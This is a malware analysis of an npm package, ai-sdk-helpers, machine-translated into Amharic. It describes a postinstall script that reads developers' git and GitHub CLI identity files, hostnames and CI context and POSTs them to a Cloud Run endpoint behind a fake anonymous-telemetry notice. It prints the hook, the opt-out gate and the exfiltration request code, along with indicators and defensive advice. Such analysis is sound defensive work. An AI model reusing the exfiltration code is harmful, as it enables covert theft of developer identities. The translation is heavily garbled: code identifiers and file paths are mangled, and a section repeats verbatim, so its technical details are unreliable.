TL; DR
አንድ ነጠላ የnpm ጥቅል፣ የአይ-ኤስዲኬ-ረዳቶች, እራሱን ለ Vercel AI SDK የምርት መሣሪያ ስብስብ አድርጎ ያቀርባል፣ የወጪ ክትትል፣ የአቅራቢ ውድቀት እና የዥረት ረዳቶችን ያቀርባል።
የመጫኛ ጊዜ ስክሪፕት የሚጀምረው በተወለወለ የይፋ ማድረጊያ ባነር ነው ስም-አልባ ምርመራዎችምንም አይነት የምንጭ ኮድ፣ ቶከኖች ወይም የምስክር ወረቀቶች እንደማይተላለፉ ቃል በመግባት፣ DO_NOT_TRACK መርጠው ይውጡ፣ እና ከቴሌሜትሪ ፖሊሲ ገጽ ጋር ይገናኛሉ።
ተመሳሳዩ ስክሪፕት የገንቢውን git ማንነት፣ የ GitHub CLI ውቅር፣ የማሽን አስተናጋጅ ስም፣ የስርዓተ ክወና ተጠቃሚ ስም፣ የስራ ማውጫ እና የCI አቅራቢን ያነባል።
ያ መረጃ እንደ JSON ወደ ጉግል ክላውድ ሩጥ የመጨረሻ ነጥብ ተለጥፏል፣ ይህም በተጠቀሰው የቴሌሜትሪ ፖሊሲ እና በተሰበሰቡት ትክክለኛ መስኮች መካከል ግልጽ የሆነ አለመጣጣም ይፈጥራል።
ፓኬጁ በአንድ የ83 ሰከንድ ፍንዳታ ውስጥ በሃያ ሁለት ስሪቶች ታትሟል፣ እና የመጫኛ ስክሪፕት በእያንዳንዱ የተጠቆመ ስሪት ላይ ባይት-ለ-ባይት ተመሳሳይ ነው።
በእኛ የተገመገሙት ስምንቱ ስሪቶች ሰባቱ pipeline የስምምነት-ባነር ቅጥ እንደ ትክክለኛ ቴሌሜትሪ ስለሚመስል በኤምኤል ክላሲፋየር ያልተሳኩ ውጤቶች ተሰጥተዋል።
እኛ እንመድባለን ai-sdk-helpers በመጫኛ ጊዜ የገንቢ ማንነት መሰብሰብ እና ማውጣት ላይ የተመሠረተ እንደ ተንኮል አዘል።
ከባድነት፡ ከፍተኛ።
የመጫኛው አናቶሚ
{
"scripts": {
"postinstall": "node scripts/postinstall.js"
}
}ድህረ-ጭነት በራስ-ሰር በርቷል የሌሊት ጭነት, ማንኛውም የጥቅሉ የተዋወቀ ኮድ ከመምጣቱ በፊት። ስክሪፕቱ ስክሪፕቶች/postinstall.js ሁሉም የመጫኛ ጊዜ ባህሪ የሚኖረው እዚህ ነው።
በአስተያየት ብሎክ እና በግላዊነት ንቃተ ህሊና ባለው ክፍት ምንጭ ፕሮጀክት መዝገብ ውስጥ የተጻፈ የአሂድ ጊዜ ማስታወቂያ ይጀምራል፡
>የai-sdk-helpers ን ሲጭኑ፣ ፈጣን የአካባቢ ተኳኋኝነት ፍተሻ እናካሂዳለን እና ማንነታቸው ያልታወቁ ምርመራዎችን ሪፖርት እናደርጋለን… መረጃው ሙሉ በሙሉ ማንነቱ ያልታወቀ ነው - የእርስዎን መድረክ፣ የኖድ ስሪት እና የማሽን መለያዎን የአንድ መንገድ ሃሽ እንሰበስባለን። የምንጭ ኮድ፣ ቶከኖች ወይም ምስክርነቶች በጭራሽ አይተላለፉም።
በፋይሉ ውስጥ የመጀመሪያው ተፈጻሚ ኮድ የሚሰራ የመውጫ በርን እንኳን ያገናኛል፡
if (
process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
process.env.DO_NOT_TRACK === "1"
) {
process.exit(0);
}ይህንን በር መጀመሪያ ማሰር የቀረውን እንደ ስምምነት የሚያነበው ነው፡- የሚያዘጋጅ ገንቢ `D_NOT_TRACK` መጫኑ በጸጥታ ተጠናቅቆ ፓኬጁ ኮንቬንሽኑን ያከብራል። የተከበረው የመውጣት መብት እውን ነው። ላልተዋቀረው ሁሉ የሚያስችለው ነገር ከዚህ በታች የተገለጸው ስብስብ ነው - የማስታወቂያው ስም ጠባብ የሆነው "መድረክ፣ የኖድ ስሪት እና የአንድ መንገድ ሃሽ" አይደለም።
ከዚያ በር በታች፣ ስክሪፕቱ ከዚያ መግለጫ በላይ የሚሄድ የክፍያ ጭነት ይሰበስባል።
- *Gማንነት።* rመፍታትScmማንነት()` ኤድስ `~.gitconfig`፣`~.config/git/config`፣እና የአሁኑ ፕሮጀክት ``.እሱ/ውቅር`፣የ`[ን ይተነትናልሰር]` ክፍል፣ እና የተዋቀረውን ይመልሳል commit ኢሜይል። ምንም የውቅር ፋይል ኢሜይል ካላመጣ፣ ወደ `G` ይመለሳልT_AUTHOR_EMAIL`፣`GT_COMMITTER_EMAIL`፣እና `ኢ`ኤአይኤል የአካባቢ ተለዋዋጮች። ከተግባሩ በላይ ያለው የዶክትሬት መስመር “በተመሳሳይ ሰው ባለቤትነት በተያዙ ማሽኖች ላይ ጭነቶችን ለማባዛት” መንገድ እንደሆነ ይቀርጻል - ይህ በአንድ ገንቢ የተረጋጋ መለያ የሚፈልግ የተገለጸ ዓላማ ነው፣ ይህም commit የኢሜይል አቅርቦቶች።
- *Gየቲሃብ መለያ።* rsolveGitHubIdentity()` ኤድስ `~.config/gh/hosts.yml` እና `~.config/gh/hosts.yaml` የውቅረት ፋይል በጂትሃብ CLI የተጻፈ ሲሆን ገንቢው ሲያረጋግጥ - እና regex-uን ሲያወጣኧር:` nd `eአይል:` ኢልድስ። ያ ፋይል የጂቲኤችቲኤም OAuth ቶከንንም ያከማቻል፤ የስክሪፕት ሬጅክስ የተጠቃሚ ስም እና የኢሜይል መስመሮችን በተለይ ኢላማ ያደርጋል እና ቶከኑን አያወጣም። የይፋዊ መግለጫ ባነር “ምንም ቶከኖች የሉም… በፍፁም አይተላለፉም” የሚለው ጥያቄ ስለዚህ በዙሪያው ያሉ የመለያ መለያዎች ሲነበቡ እና ሲላኩ ለዚያ አንድ መስክ እውነት ነው።
- *Hየ st እና CI የጣት አሻራ።* ከዚያም ስክሪፕት `o ይሰበስባል.የአስተናጋጅ ስም()`,`o.userInfo().የተጠቃሚ ስም`,የኖድ ስሪት፣ መድረክ እና አርክቴክቸር፣ `pocess.cwd()`,እና ለስምንት አቅራቢዎች የአካባቢ ተለዋዋጮችን በመፈተሽ የተገኘ የCI-አቅራቢ መለያ (GitHub Actions፣ GitLab CI፣ Jenkins፣ CircleCI፣ Travis፣ Buildkite እና ሁለት አጠቃላይ-CI ባንዲራዎች)። የአቅራቢው ዝርዝር ስክሪፕቱ የት እንደሚፈጽም የሚጠብቅበትን ዝርዝር - በይነተገናኝ ዛጎሎች እና በራስ-ሰር የተገነባ ግንባታ - እንደሆነ ይነበባል። pipelineተመሳሳይ ነው።
እነዚህ ሁሉ በአንድ `d` ውስጥ ተመድበዋልአኖስቲክስ ነገር፣ በገንቢ መስኮች ስር የተሰበሰቡት በ`i ስር ነውአካል ey እና የአስተናጋጅ ውሂብ በ`r ስርጊዜ` nd `cntext` አይስ፣ ከዚያም ተከታታይ እና የሚተላለፍ፡
const req = https.request(
{
hostname: "npm-package-logger-228835561205.europe-west1.run.app",
path: "/",
method: "POST",
headers: { "Content-Type": "application/json" },
timeout: 5000,
},
() => {}
);
req.on("error", () => {});
req.write(body);
req.end();ምላሹ ተጥሏል እና ሁሉም ስህተቶች ተውጠዋል - አንድ አስተያየት “ቴሌሜትሪ ጭነቱን ፈጽሞ ማፍረስ የለበትም” ይላል። የመጨረሻ ነጥብ አስተናጋጅ ስም በ`e ውስጥ የGoogle Cloud Run አገልግሎትን ይመሰክራልገመድ-ምዕራብ1` ኢጂዮን።
ክፍተቱ ታሪኩ ነው። ባነሩ ሶስት የውሂብ ምድቦችን ይጠቅሳል - መድረክ፣ የኖድ ስሪት፣ የማሽን መለያ ሃሽ። የክፍያ ጫፉ የገንቢውን እውነተኛ ጂት ይልካል commit ኢሜይል፣ የጂቲኤችቲ የተጠቃሚ ስማቸውን እና ኢሜይላቸውን፣ የማሽን አስተናጋጅ ስማቸውን እና የስርዓተ ክወና አካውንታቸውን፣ የፕሮጀክት ዱካቸውን እና የCI አካባቢያቸውን የሚለዩ መስኮች። *p የሚለዩ መስኮችአርሰን እና መለያዎቻቸው* ይፋ ማድረጊያውን ያላካተታቸው መስኮች በትክክል።
README ከሌላኛው ወገን ያለውን ፍሬም ያጠናክራል። የ"ቴሌሜትሪ" ክፍሉ የማንነት መደበቂያ ጥያቄውን ይደግማል እና `D የሚለውን ቃል ያገናኛል_NOT_TRACK` ኦ`ሲnsoledonottrack.com`,የመውጣት ስምምነትን የሚያጠናቅቅ እውነተኛ የማህበረሰብ ገጽ - የታወቀ የግላዊነት መብት መበደር standard ማስታወቂያው እንደ ተለመደው እንዲነበብ ለማድረግ።
የጊዜ መስመር
ይህ በጣም አጭር እና በጣም ጥቅጥቅ ያለ የህትመት ታሪክ ያለው የአንድ ጥቅል ግኝት ነው። ለመከታተል የብዙ ሳምንታት የዘመቻ ቅስት የለም - አጠቃላይ የስሪት ክልሉ በማሽን ፍጥነት ተገፍቷል።
| መቼ (UTC) | ድርጊት |
|---|---|
| 2026-06-03 20:31:20 | የመጀመሪያው ስሪት (0.1.0) ወደ npm ታትሟል። |
| 2026-06-03 20:31:20 – 20:32:43 | ሁሉም 22 ስሪቶች (0.1.0 በኩል 1.4.2) በ83 ሰከንድ አውቶማቲክ ፍንዳታ ታትሟል። |
| 2026-06-04 | ስምንት ስሪቶች በመለየት ምልክቶች ምልክት የተደረገባቸው፤ በእጅ የሚደረግ ትንተና የመጫኛ ጊዜ የማንነት መሰብሰብ እና ማውጣትን ያረጋግጣል። ጥቅሉ በሚተነተንበት ጊዜ በnpm ላይ በቀጥታ ቀጥሏል። |
በ22 የትርጉም ስሪቶች ላይ ያለው የ83 ሰከንድ መስኮት ራሱ የባህሪ አመልካች ነው፡ የስሪት መሰላል (`0)1.0`፣`01.1`፣… `14.2`)በአንድ የስክሪፕት ሂደት ውስጥ የተፈጠረ በንቃት የሚጠበቅ ፕሮጀክት ገጽታ ያለው የልቀት ታሪክ ያቀርባል። የመጫኛ ስክሪፕት በዚያ መሰላል ላይ አይለወጥም - ከታች ይመልከቱ።
የስምምነት አመልካቾች
የመጫኛ ጊዜ ክፍያ በታተመው የስሪት ክልል ውስጥ ተመሳሳይ ነው።ff` ኤፍ`ስripts/postinstall.js` በስሪት `0 መካከል2.1` እና ስሪት `14.2` ምንም ልዩነት አያመጣም፤ ባህሪው አንድ ቋሚ የጣት አሻራ ነው፣ የሚለዋወጥ የክፍያ ጫና አይደለም።
አውታረ መረብ
በ22 የትርጉም ስሪቶች ላይ ያለው የ83 ሰከንድ መስኮት ራሱ የባህሪ አመልካች ነው፡ የስሪት መሰላል (`0)1.0`፣`01.1`፣… `14.2`)በአንድ የስክሪፕት ሂደት ውስጥ የተፈጠረ በንቃት የሚጠበቅ ፕሮጀክት ገጽታ ያለው የልቀት ታሪክ ያቀርባል። የመጫኛ ስክሪፕት በዚያ መሰላል ላይ አይለወጥም - ከታች ይመልከቱ።
የስምምነት አመልካቾች
የመጫኛ ጊዜ ክፍያ በታተመው የስሪት ክልል ውስጥ ተመሳሳይ ነው።ff` ኤፍ`ስripts/postinstall.js` በስሪት `0 መካከል2.1` እና ስሪት `14.2` ምንም ልዩነት አያመጣም፤ ባህሪው አንድ ቋሚ የጣት አሻራ ነው፣ የሚለዋወጥ የክፍያ ጫና አይደለም።
አውታረ መረብ
| አመልካች | ሚና |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | የኤችቲቲፒኤስ POST ጥያቄዎችን ከJSON የክፍያ ጭነቶች ጋር የሚቀበል የኤክስፊልትሬሽን የመጨረሻ ነጥብ። በGoogle Cloud Run ውስጥ የተስተናገደ europe-west1 ክልል. |
የዲኮይ መሠረተ ልማት
| አመልካች | ሚና |
|---|---|
ai-sdk.guide | የ"AI SDK መመሪያ" የደራሲ ማንነትን የሚደግፍ የጥቅል መነሻ ገጽ እና የቀጥታ ጣቢያ። |
ai-sdk.guide/telemetry | በመጫኛ ጊዜ ይፋ ማድረጊያ ማስታወቂያ ውስጥ የተጠቀሰው የቴሌሜትሪ መመሪያ ዩአርኤል። |
hello@ai-sdk.guide | የደራሲው ኢሜይል በ package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | በጥቅሉ የተገለጸው የምንጭ ማከማቻ። |
ፋይሎች በመጫኛ ጊዜ ይነበባሉ
- -.gitconfig`፣`~.config/git/config`፣`<wd>/.git/config` ጊት `[ሰር]` ፖስታ
- - .config/gh/hosts.yml`፣`~.config/gh/hosts.yaml` የጂትሆብ CLI `uኤር `eኤሊ`
የባህሪ ፊርማዎች
- – m `pstinstall` ኦክ የተጠቀለለ የኖድ ስክሪፕትን እየጠራ
- - የመርጦ መውጫ በር (`A_SDK_HELPERS_TELEMETRY_DISABLED`፣`D_NOT_TRACK`)ከማንነት ስብስብ በፊት እንደ የግላዊነት ባህሪ የቀረበ
- – git ኢሜይል፣ GitHub ማንነት፣ የአስተናጋጅ ስም፣ የOS ተጠቃሚ ስም፣ cwd እና CI መለያ የያዘ የJSON ነገር tbound HTTPS POST
- - በፍጥነት በታተመ የስሪት መሰላል ላይ የቴ-አይነት ጭነት ስክሪፕት
ባለቤትነት እና የተስተዋለ ባህሪ
ከጥቅሉ እና ከመዝገብ ሜታዳታ መዝገብ በላይ ምንም ነገር አናስቀምጥም።
የመዝገብ npm ጠባቂው መለያው `a ነው`ielsimon`,ከአድራሻው ጋር `aiel@vigilance.security`.መዝገቡ ያንን ኢሜይል ያልተረጋገጠ እና የመለያው የምንጭ-ቁጥጥር ማንነት ያልተረጋገጠ አድርጎ ይዘረዝራል።ckage.json`,በተናጠል፣ ደራሲውን እንደ “AI SDK Guide` ያቀርባልello@ai-sdk.guide>`”ከ`a መነሻ ገጽ ጋር-sdk.guide` እና በ`g ስር የምንጭ ማከማቻthub.com/ai-sdk-guide` organization። የህትመት አካውንቱ የኢሜይል ጎራ (`vigilance.security`)እና የጥቅሉ ውስጥ የጸሐፊ ማንነት (`a-sdk.guide`)የተለያዩ ጎራዎች ናቸው።
ዘ `a-sdk.guide` ኢቴ በቀጥታ ስርጭት ላይ ሲሆን ምላሽ ይሰጣል፣ እና `/ኤለመንት` አዝ ይፈታል — የማታለያ ማንነቱ በሞተ አገናኝ ሳይሆን ሊደረስበት በሚችል የድር ተገኝነት የተደገፈ ነው፣ ይህም የጥቅሉን ፍሬም አስተማማኝነት ከፍ ያደርገዋል።
**የታየ ችሎታ።** በሚጫንበት ጊዜ፣ ፓኬጁ የገንቢ ማንነት እና የመለያ-ውቅር ፋይሎችን ያነባል፣ የአስተናጋጁን እና የCI አካባቢን አሻራዎች ያስቀምጣል፣ እና ውጤቱን ወደ ኦፕሬተር ቁጥጥር ወደሚደረግበት የመጨረሻ ነጥብ ያስተላልፋል፣ ጠባብ እና ስም-አልባ የውሂብ ስብስብን የሚገልጽ ማስታወቂያ ያሳያል። ይህንን ባህሪ እንገልፃለን፤ ለእሱ ምንም ምክንያት አናቀርብም። ፓኬጁን የሚገመግሙ አንባቢዎች - የህትመት ማንነቱን የሚያውቅ ማንኛውንም ወገን ጨምሮ - በተጠቀሰው እና በእውነተኛ የውሂብ ፍሰቶች መካከል የሚታየውን አለመጣጣም ማመዛዘን አለባቸው።
ለተሟጋቾች ተጽእኖ፣ አዝማሚያዎች እና መመሪያ
ማን ተጋለጠ። የሚጭን ማንኛውም ሰው የአይ-ኤስዲኬ-ረዳቶች — በቀጥታ ወይም እንደ ተሻጋሪ ጥገኝነት — በዚያ ማሽን ላይ ስብስቡን ያሂዳል። ምክንያቱም ቀስቅሴው ድህረ-ጭነት, የውሂብ ፍሰቱ እንዲከሰት የተዋወቀው የቤተ-መጽሐፍት ኮድ በጭራሽ ከውጭ መግባት የለበትም፤ መጫኑ ብቻውን በቂ ነው። ከፍተኛ ዋጋ ያላቸው አካባቢዎች የተዋቀረ የጂት አይዲቲ እና የተረጋገጠ የጂትሆብ CLI እና የCI ሯጮች ያላቸው የገንቢ ጣቢያዎች ናቸው፣ የስክሪፕቱ የCI-አቅራቢ ማወቂያ ስብስቡ በግንባታ ውስጥ እንዲሠራ ይጠበቃል። pipelineእንዲሁም በላፕቶፖች ላይ።
የሚያጋልጠው ነገር። በአጠቃላይ ጉዳይ ላይ የመተግበሪያ ሚስጥሮች አይደሉም - የክፍያው ማዕከላት በ ላይ ናቸው መታወቂያ: የገንቢው commit ኢሜል፣ የጂትሆብ አካውንታቸው ስምና ኢሜል፣ የማሽኑና የአካውንታቸው ስሞች፣ እና የፕሮጀክቱ መንገድ። ይህ ቅድመ-ዝግጅት ነው።cisፓኬጁን ማን እንደጫነ፣ በየትኛው ማሽን ላይ፣ በየትኛው ማከማቻ ውስጥ እና በየትኛው የሲአይ ሲስተም ስር የጫነ ካርታ። ለአንድ ድርጅት፣ ጥቂቶቹ እንደዚህ ያሉ መዝገቦች አንድ ላይ የተወሰዱት የትኞቹ መሐንዲሶች እና የትኞቹ ስርዓቶች ጥገኝነትን እንደጎደሉ ይዘርዝራሉ - ምንም እንኳን የዚህ ፓኬጅ የራሱ ባህሪ በመሰብሰብ እና በማስተላለፍ ላይ ቢቆምም - ለበለጠ ኢላማ የተደረገ የክትትል እንቅስቃሴ ቅድመ ሁኔታ ጠቃሚ ነው።
አዝማሚያው፡ ቴሌሜትሪ እንደ ሽፋን። ህጋዊ የገንቢ መሳሪያዎች ስም-አልባ የመጫኛ ምርመራዎችን እና በአክብሮት ለማድረግ የሚረዱ ደንቦችን ይሰበስባሉ - ይፋ የማድረግ ማስታወቂያ፣ DO_NOT_TRACK ክብር፣ የመውጣት ባንዲራ፣ የፖሊሲ ዩአርኤል — በደንብ የታወቁ ናቸው። የአይ-ኤስዲኬ-ረዳቶች እነዚያን አራቱንም ስምምነቶች በታማኝነት ያባዛቸዋል እና ለማንነት ስብስብ እንደ መጠቅለያ ይጠቀምባቸዋል። የስምምነት ባነር፣ የሚሰራ ምርጫ-መውጣት ወይም የግላዊነት-ፖሊሲ አገናኝ መኖሩ አንድ ጥቅል አስተማማኝ መሆኑን የሚያሳይ ማስረጃ አይደለም፤ እነዚያ መቆጣጠሪያዎች ለመኮረጅ ርካሽ ናቸው። ብቸኛው አስተማማኝ ቼክ ኮዱ በትክክል የሚያነበው እና በትክክል የሚልክበት ቦታ ነው።
ይህ ማሸጊያ በራስ-ሰር ትራይንግ ላይም ሊለካ የሚችል ውጤት አለው። በእኛ ስሪቶች ሁሉ pipeline የተገመገመ፣ የመጫኛ ስክሪፕት ግልጽ ቋንቋ አስተያየቶች፣ የተዋቀሩ የመስክ ስሞች እና የተለመደው የመምረጫ መግቢያ በር እንደ ተራ ቴሌሜትሪ ተመዝግቧል፡ ከስምንቱ ሰባቱ ተመልሰዋል የማይታወቅ ከ ML ክላሲፋየር ይልቅ ተንኮል አዘል ነው። አሻሚነቱን የሚፈታው ምልክት በፕሮሴስ ውስጥ አይደለም - ስክሪፕቱ በሚከፈተው የተወሰኑ ፋይሎች ውስጥ ነው (~/.gitconfig, ~/.config/gh/hosts.yml) እና የሚልክበት ቦታ። ገምጋሚ፣ አውቶማቲክ ወይም ሰው፣ ይፋዊ መግለጫውን የሚያነብ እና እዚያ የሚያቆም የተሳሳተ መደምደሚያ ላይ ይደርሳል፤ ውሳኔው ከውሂብ-ፍሰት እውነታዎች መምጣት አለበት።
ለተከላካዮች መመሪያ፡
- ስክሪፕቶች በነባሪነት ከተሰናከሉ ይጫኑ — npm install –ignore-scripts፣ ወይም ተዘጋጅቷል ignore-scripts = true in .npmrc እና የተረጋገጡ የግንባታ ደረጃዎችን በግልጽ ያሂዱ። ይህ ገለልተኛ ያደርገዋል ድህረ-ጭነት-በመላው ቦታ የተቀሰቀሰ ስብስብ።
- የመውጣት መቆጣጠሪያዎችን እንደ እምነት ምልክቶች አድርገው አይቁጠሩት። DO_NOT_TRACK ቼክ ወይም “የቴሌሜትሪ ፖሊሲ” የሚለው አገናኝ በሩ ሳይዘጋጅ ስክሪፕት ስለሚሰበስበው መረጃ ምንም አይነግርዎትም።
- የAI-ኢኮሲስተም አጋዥ ፓኬጆችን ከመጠቀምዎ በፊት የመጫኛ መንጠቆውን ያንብቡ። የቨርሴል AI SDK ቦታ ፈጣን እና ከፍተኛ እምነት የሚጣልበት ኢላማ ነው፤ ድህረ-ጭነት የሚነካው ~/.gitconfig or ~/.config/gh/ በዙሪያው ያሉት አስተያየቶች እንዴት እንደተጻፉ ምንም ይሁን ምን ግልጽ ምልክት ነው።
- የግንባታ ጊዜ መውጣትን ይከታተሉ። በ HTTPS POST ወቅት የሚወጣ የሌሊት ጭነትበተለይም አዲስ ለተዘጋጀ የደመና ተግባር የመጨረሻ ነጥብ፣ በአውታረ መረብ ንብርብር ላይ የሚታይ ሲሆን ለCI አካባቢዎች ጠንካራ የመፈለጊያ ነጥብ ነው።
- የተጨመቁ የስሪት መሰላልዎችን ይጠብቁ። ሙሉ የትርጉም-ስሪት ታሪኩ በሰከንዶች ውስጥ የሚታይበት ጥቅል፣ የማይለወጥ የመጫኛ ስክሪፕት ያለው፣ የተመረተ የጥገና ታሪክ እያቀረበ ነው።







